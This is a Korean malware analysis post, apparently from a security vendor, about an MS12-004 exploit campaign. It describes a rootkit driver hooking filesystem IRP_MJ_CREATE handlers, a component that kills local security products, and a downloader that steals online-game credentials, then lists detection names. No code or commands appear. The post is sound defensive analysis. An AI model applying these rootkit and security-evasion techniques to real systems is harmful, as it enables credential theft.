생성된 드라이버 파일인 com32.sys tdc.exe가 생성한 com32.syscom32.dll 파일들을 보호하기 위해 다른 프로세스의 접근을 방해한다. 그러나 다음의 프로세스들의 접근에 대해서는 허용하고 있다.

IEXPLORER.EXE
exploere.exe
rundll32.exe 


그리고 com32.sys는 \FileSystem\FastFat 과 \FileSystem\Ntfs의 DriverObject의 IRP_MJ_CREATE 핸들러 주소를 후킹한 코드 주소로 변경하는 방법을 사용하고 있다.

생성된 com32.dll는 감염된 시스템에서 국내에서 제작되어 사용중인 보안 제품들이 실행 중이라면 해당 프로세스들의 강제 종료를 시도하게 된다.


추가적으로 아래 이미지와 같이 특정 시스템으로 접속을 시도하여 성공하게 될 경우에는 아래 이미지와 같이 20120120.exe(89,088 바이트)를 다운로드 하게 된다.


다운로드 된 20120120.exe는 감염된 시스템에 존재하는 정상 윈도우 시스템 파일인 imm32.dll 파일을 랜덤한 파일명으로 백업을하고 국내에서 제작된 온라인 게임들의 사용자 계정과 암호를 외부로 탈취하는 기능들을 수행하게 된다.

현재까지의 상황들을 종합해보면 이번 MS12-004 취약점을 악용하여 악성코드 감염을 시도하는 제작자는 최종적으로 윈도우 보안 패치가 설치되지 않은 시스템에서 온라인 게임 사용자 정보들을 탈취하기 위한 악성코드 감염을 시도한 사례라고 볼 수 있다.

발견된 악성코드의 제작 기법과 국내 보안 프로그램의 강제 종료 기법들을 볼 때 중국에서 제작된 온라인 게임 관련 악성코드와 유사도가 높다고 할 수 있다.

그러므로 해당 MS12-004 취약점은 다른 악성코드 변형들에서도 다른 형태의 유포 기법으로 악용될 소지가 높음으로 사용하는 윈도우 시스템에 최신 보안 패치들을 모두 설치하는 것이 최선의 예방책이다.

이번 MS12-004 취약점과 관련된 악성코드들 모두 V3 제품군에서는 다음과 같이 진단한다.

JS/Cve-2009-0075 
JS/Agent 
Exploit/Ms12-004 
Win-Trojan/Rootkit.7808.H 
Dropper/Win32.OnlineGameHack 
Win-Trojan/Meredrop.73728.C
Win-Trojan/Rootkit.11648.B
Win-Trojan/Waltrodock.57344
Win-Trojan/Meredrop

그리고 TrusGuard 네트워크 보안 장비에서도 해당 취약점에 대해 다음의 명칭으로 탐지 및 차단이 가능하다. 

malicious_url_20120127_1459(HTTP)-1
ms_ie_mid_file_exploit-t(CVE-2012-0003/HTTP)

저작자 표시
신고
Creative Commons License
Creative Commons License
Posted by 비회원